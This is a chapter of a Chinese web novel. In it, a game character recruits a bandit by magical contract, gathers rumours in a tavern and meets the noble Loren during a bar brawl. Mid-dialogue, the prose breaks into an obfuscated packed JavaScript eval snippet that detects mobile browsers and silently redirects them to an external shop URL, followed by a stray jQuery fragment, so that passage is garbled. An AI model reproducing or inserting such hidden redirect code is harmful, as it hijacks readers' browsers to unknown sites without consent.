尤里斯回到游戏世界。
遗迹已完全崩塌,砖石掩埋了余下的生存物资,好在之前的战利品和石板还在尤里斯怀中。石板散发着灼热的温度,催促他将其取出。
尤里斯掏出来,上面的文字已在魔神碎片融入时就消失不见。手掌拂过石板表面,文字浮现。
【孤身难以前进,唯有与他人同行,方能攀登更高之处。】
【七日之内,招募三名追随者,并让他们为你执行一项任务。】
与万佳给出的安排如出一辙。
尤里斯看清字后,石板的热度就倏然退散,仿佛一切从未发生。
返回都城还需要三天时间,回去的路上他只能依靠生存技能维持。
踏上黄沙,夜晚渐渐降临,风声在沙丘间回荡。尤里斯靠着在遗迹边缘收集到的少量干草,铺出一个小草堆,准备小睡一会儿。
半夜,细碎的脚步声在黑暗中逼近。
那是个沙盗,一个常年混迹于荒漠劫掠旅人的亡命之徒。当然,在游戏外的万佳眼中,他只是一个随机生成的NPC,甚至连名字都没有,唯一的价值是属性栏上的“武力值4”。
盗贼紧盯着躺在地上的身影,小心靠近。
那人身上的衣服破旧,周围空空如也,显然没有什么值钱的东西,唯有他手上紧握的刀看着值些钱。
那把刀精致小巧,刀刃锋利,刀身线条流畅,刀柄纹路均匀细致,显然只有技艺高超的工匠才能锻造出来。
这种刀卖给都城里的贵族夫人或是小姐再合适不过,一定能出个好价钱。
盗贼弯下身,右手掌心握紧弯刀,逼向那人的咽喉,左手伸向那把银光闪烁的小刀。
正当他要触及刀柄的刹那,地上的人突然睁开眼睛。
尤里斯猛地翻身,死死扣住盗贼的手腕,力道之大让盗贼一时间无法抽手。
盗贼挣扎了几下,反被尤里斯一脚踹上肚子。他痛叫一声瘫软在地,被钳制得动弹不得,脑袋被拉扯向后,冰冷的刀锋贴上喉咙。
盗贼心下一惊,连口水都不敢吞咽,声音抖得不像话:“别、别杀我……我、我兜里还有一点钱!还有水和吃的!只要别杀我,让我干什么都行!”
“你想拿这个?”
尤里斯垂眸,目光落在盗贼伸向刀的手上,眼神狠厉,语气比贴住嗓子刀刃还要冰冷。
他是真的想杀了自己。
因为自己想拿那把刀吗?!
长期杀人越货培养出的危机感让盗贼的心都快提到嗓子眼。他瞪大了眼,不敢肯定,也不敢不回答。盯着他的眼睛像是沙漠里的蛇,颈部刀口下压,刃口滑动,盗贼以为自己的脖子下一秒就会被割断。
喉间一凉,盗贼瘫坐在地,半晌,才敢颤抖着手摸向颈间。
鲜血在指尖流下,刺痛从颈部传来,这时,他才意识到自己还活着。
“你运气很好,她不想杀你。”那人冷漠地看着他,好似看一只侥幸逃出生天的牲畜,“但从现在起,你要跟着我。”
盗贼还处在劫后余生的惊魂未定中,茫然地点了点头。
那人握刀翻转,锐利的刀尖毫无偏差地插入盗贼掌指之间,直穿血肉扎入沙土。
盗贼惨叫一声,痛得趴倒在地。与此同时,尤里斯怀中的石板释放出蓝色的光,光芒飞出,在盗贼的心脏处聚拢,化作一个繁复的契约烙印。
“你、你是术师?”盗贼浑身直抖,打着颤问,终于明白自己招惹了不该惹的人。
尤里斯拔出刀,没有解释,一脚踩上那只还在流血的手。
“记住,有的东西不可以碰。”
盗贼跪在地上,浑身颤抖着连连点头。契约魔法已经封锁了他所有背叛可能,他再无逃脱之路。
“跟上。”
尤里斯将刀上的血迹拭净,把它收回怀中,看也不再看盗贼一眼,径直踏向沙漠远方。
——
【获得角色卡【盗贼】】
【主线任务:试炼2——寻找追随者】
【时间:7日】
【描述:招募三名追随者,并让他们为你执行一项任务。】
【任务进度:找到追随者(1/3),完成任务(0/1)】
屏幕外,万佳敲击键盘,满意地勾起唇角。
来了,只要玩过一轮,就知道这是最好完成的任务。
她也没预料到回去的旅程中会碰上有无名npc的随机事件。现在既然遇见,就顺势将对方收编,直接完成1/3的招募任务。
这类NPC通常数值不高,连专属立绘都没有,但能在前期缺乏人手的时候完成部分的分支任务。
一切都进展顺利,万佳点击下一天。
——
尤里斯回到都城。
一进城门,小贩的吆喝声、人群的交谈声便纷至沓来。尤里斯穿过熙攘的人群,来到集市,将背包中的蛇皮和毒囊卖了个好价钱。
转身走过两个街道,他又带着盗贼走到一家招临时工的旅店。
“清理马厩、喂草料、梳洗马匹,这些活儿干不干?”店主撇了眼尤里斯问。
“不是我,是他。”尤里斯无视盗贼脸上的表情,把他往前一推,“工钱直接给我。”
店主点头答应。被签下下契约的盗贼敢怒不敢言,只能咬牙应下,捂着受伤的手,忿忿地走进马厩。
这种工作挣不了多少钱,但多少是个进项。
尤里斯的兜里多了几枚钱币,算是告别之前的窘迫。他顺势在旅店租了间便宜住所,安顿后,又跟随指引,拐进一条稍显僻静的街巷。
小巷尽头有一家酒馆,门旁立着一块略微褪色的招牌,酒馆不大,但看着还算干净。刚一进门,嘈杂的人声与酒香就迎面扑来,与沙海和角斗场相比,简直像是另一个世界。
尤里斯克制住第一次来进酒馆的不自然,要了杯最便宜的酒,坐到吧台最边缘的位置。
【你知道吗?神庙的借阅室又准备开放了,有空一块去看看?】
尤里斯抿了一口酒,听见身后传来交谈声。与此同时,眼前冷不丁出现一块黑色的方框,上面似乎还有文字,还没等他看清,方框就消失不见了。
这是什么?
尤里斯手一顿,放下酒杯,满溢的酒在吧台洒出几滴。
正在这时,酒馆老板端着抹布凑过来,顺手擦了一下台面,问:“客人,有什么想要吗?”
奇怪的是,这一次酒馆老板说话时,那方框并没有出现。
“再来一杯。”尤里斯道。
老板扫了眼他还没喝完的酒,点头:“好,一会给您续上。”
身后的人还在说话。
【“……君主前两天又杀人了,这次不是平民,是个督办官。”
“那个疯王……”
“小声点。”另一人提醒道。
“城里谁不是这样叫他,反正不管是谁,都可能只因为倒霉就被他砍了脑袋。”那人虽这么说,但声音还是弱了几分。
“不聊这个,万一被告密就不好了。你上次去过金工坊了吗?”
……】
和之前相同,他们说话的同时,黑色方框一闪而过。尤里斯在方框出现同时迅速伸手去摸,可惜只是穿过一片空气。
再之后,尤里斯在酒馆坐了整整一天,方框没再出现,仿佛只是他的幻觉。不过耳边零零散散的闲话,还是让他记下了神庙借阅室开放的信息和城里其他几个地点的位置。
他没有立即前往。第二天,尤里斯跟着指引继续来到酒馆。
“客人,要试试我们酒馆的腌橄榄吗?配酒最好吃。”
或许是昨天来过的缘故,酒馆老板一下认出他,笑脸相迎,显得热络不少。
尤里斯坐在吧台角落,点了酒和推荐的小菜,和老板随意地交谈起来。
“我前几天在沙漠猎到了点东西想卖,你知道什么好的买家吗?”尤里斯问。
“哟,那客人您厉害呀。”老板低头忙着倒酒,“集市那块儿,进去第三家收得最多,价格也不错。”
尤里斯:“问过了,我的东西不收。”
酒馆老板停下斟酒的手,瞅了尤里斯一眼,压低声音问:“是不方便出手的货?”
尤里斯轻轻点头,推过去一枚钱币。
【“那您可问对人了。”老板小声道,“过了午夜,集市那块往湖边走点,一些白天见不到的摊子就摆出来了。您要是有不方便出的货物,或者想买点稀奇的东西,不妨到那里问问。”
“听说最近魔法相关的东西价格都涨了,连一些动物的残骸也有人在收,也不知道要拿去做什么。唉,这座城里事情多得很。”】
话音刚落,黑色的方框再次跃入尤里斯视线,一闪而过。这次尤里斯瞧见了上面出现的文字,内容和老板的话一模一样。
他若无其事地喝了一口酒,顺着话头交谈:“有意思,那这段时间,城里怕是更热闹了?”
老板耸耸肩:“可不么?都闹腾得很,最近不少人都躺到护城河底了。您小心点,别被卷进贵族那摊烂事里,我还希望您经常来呢。”
“既然是贵族们的事,君主不管?”尤里斯问。
“只要没打到眼前,王什么时候管过。再说谁敢真闹到他面前。”老板打了个颤。
“你还知道什么,具体说说?”
【“更多的我可就不清楚了。我这种平民哪敢掺合大人们的事。”老板摇摇头。
过了片刻,老板的神色突然一亮:
“对了,说到贵族们的事……您知道审判官之子洛伦吗?和严肃的审判官大人不同,洛伦大人的朋友众多,他知道的消息自然也就特别多。”
“听说最近,有位和他有过节的贵族死了,他正乐得不行呢。要是您能对得上他的脾气,说不定能从他那听到不少城里新发生的事。”
“不过
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17915532|213311||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
嘛,他只偶尔会来我这儿喝两杯,想碰到他,多少还得碰碰运气。”】
这话来得有些生硬。
尤里斯点点头,表示知道。他莫名有种预感,只要再来一次,就能碰见老板口中的那个人了。
第三天,尤里斯刚走到酒馆门口,就听见里头传来剧烈的吵嚷与砸杯声。
他推门而入,正巧一个人砰地摔到他面前,疼得直哼哼。
对面的男人攥着拳头咆哮:“你这人怎么赌了不认账?!外面那匹马就该是我的!”
摔倒那人爬起来,淬了一口:“呸,我的马可值十几枚银币,就这么给你?想得美!”
对面一脚踢翻凳子:“老子喝光了那十杯酒就该把马牵走!当着这么多人的面向神明发誓打的赌,你别想耍赖!”
周遭客人围成一圈,想躲开又忍不住看热闹,老板无奈地上前劝止,却被那壮汉推到一边。
尤里斯一步上前扶住老板,挡住莽汉挥舞的拳头。
“滚!这里不关……”
“今天好热闹啊。”一道爽朗的声音打断了莽汉的呵斥。
人群自发让出一条路,只见一青年晃悠悠地走来,衣衫样式简单,料子却垂顺妥帖。
他停在莽汉与商人之间,扫了一眼狼藉的地面,又瞥向被推开的老板:“二位,打架也好,赌账也罢,至少让老板喘口气吧?咱们可都要在这喝酒呢。”
因为这一打岔,一触即发的氛围缓解了几分。
他微微抬手,示意那莽汉先别再挥拳,又面带笑意地朝商人点点头:“看看这地上的杯子,要是再闹下去,马归谁不说,恐怕要先给老板赔上一笔钱了。”
壮汉沉着脸问:“你又是谁?”
“我叫洛伦,是来这喝酒的酒客。”那青年不慌不忙地说道,“虽然只是酒客,但对律法稍有了解。刚刚听你说,你们打了个赌?”
壮汉不屑地呸了一声:“律法,贵族想怎么说就怎么说的玩意儿。”
但他再蠢也知道,敢提到律法的人,在城中多少是有身份的。
壮汉不耐烦地说:“刚才这人和我打赌,只要喝下十杯酒馆里最烈的酒,就把他拴在外面的马送给我。我可是都喝了,一滴没剩,大家都能作证!他现在居然想赖账!”
商人立即反驳:“你先吹的牛!那酒还是我请你的!白喝十杯酒还想牵走我的马,天下哪有这么好的事?!而且、而且你刚刚还打我,我要报卫兵!”
洛伦扶住商人,语气柔和:“先别急着喊卫兵,要是真想把这位送进牢里,过程可不轻松,你也不能弥补损失。”
他又转向壮汉,示意他把拳头松开:“你如果再动手就真要被卫兵带走了。况且,你们打赌的时候没有签契约吧,就算闹上去,这种赌约有几分效力也难说。”
壮汉支支吾吾了几声,没有反驳,但仍不愿放弃:“我不管,打赌的时候这人已经发过誓了,周围人也都给听到了。”
“你刚刚打了这人,大家也都看到了。”洛伦劝他,“要真闹到裁判官或守卫那里,你可能也要赔偿。”
“对!你就该给我赔钱!”商人立即不依不饶。
洛伦转向商人,也提醒他:“马是值钱,可你先提赌约也是事实,要是你一味否认,传出去可没人敢和不守承诺的行商做生意,再说要是报了官,你确定马匹会给你而不是直接被收走?”
商人脸色一变,显然想起了贵族们的恶名。
见壮汉不再吭声,商人也皱起眉头,青年看准时机,向商人提议:
“要不,根据马的价钱折算再减一些钱,你出点钱补偿给他,就当是履行赌约了,也算赞赏他那惊人酒量,总好过把整匹马拱手送人;而你——”
他扭头看向壮汉,
“既然已经出了这口恶气,不如收下钱就算了。要真闹到裁判官那,人家未必认这赌约,反而你一拳打过去的印子非常明确,岂不是亏大了?”
壮汉眼神里的怒气稍微减退,嘴里嘟囔:“……倒也不是不行。”
商人看见壮汉松口,面色也缓下来,可还是咬着牙:“他把我这一拳打得可不轻,难道就这么算了?”
贵族青年笑了笑:“那就你再少给点,行吗?”
他往左右的围观者一扫,“这么多人见证,总不至于赖账吧?”
围观人群里立即有人起哄。
“这事就这么结了吧!”
“就是,我们还要继续喝呢!”
“要是再来场决斗我也不反对!哈哈!”
商人和壮汉面面相觑,沉默了一下,终于都各自退了一步。
纷争平息,两人在老板的见证下现场交接结案。
洛伦站起身,舒展了一下肩膀,目光落在一旁的尤里斯:“真是热闹的场面,刚才多亏你替老板挡那一下。一会儿有空吗?我请你喝一杯。”
熟悉的牵引感悄然而至。
“当然。”尤里斯点头。